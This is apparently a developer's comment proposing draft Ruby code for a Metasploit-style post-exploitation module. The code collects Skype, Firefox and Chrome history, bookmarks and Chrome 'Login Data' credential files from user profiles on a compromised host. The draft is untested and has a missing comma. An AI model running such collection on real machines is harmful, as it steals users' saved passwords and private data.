Sure thing @JonValt. Here's the kind of thing I was thinking of:

```ruby
  def run
    print_status("Gathering user profiles")

    files_to_gather = [
      [ 'AppData', 'skype', 'Skype', 'main.db' ],
      [ 'AppData', 'Firefox', 'Mozilla', 'places.sqlite' ],
      [ 'LocalAppData', 'Chrome History', 'Google', 'History.' ],
      [ 'LocalAppData', 'Chrome History', 'Google', 'Login Data.' ],
      [ 'LocalAppData', 'Chrome History', 'Google', 'Archived History.' ],
      [ 'LocalAppData', 'Chrome History', 'Google', 'Bookmarks.' ]
    ]

    grab_user_profiles.each do |userprofile|
      files_to_gather.each do |f|
        if check_artifact({
            :path          => userprofile[f[0]],
            :user          => userprofile['UserName'],
            :artifact_name => f[1],
            :artifact_dir  => f[2]
          })
          download_artifact({
              :path              => f[0],
              :profile           => userprofile,
              :artifact_name     => f[1],
              :artifact_dir      => f[2]
              :artifact_filename => f[3],
              :artifact_filetype => "binary/db"
            })
        end
      end
    end
  end
```
Note: I haven't compiled or tested this. Plus the other guys might prefer a hash instead of a straight array for each value. I was just trying to be terse.

Thoughts @wvu-r7 ?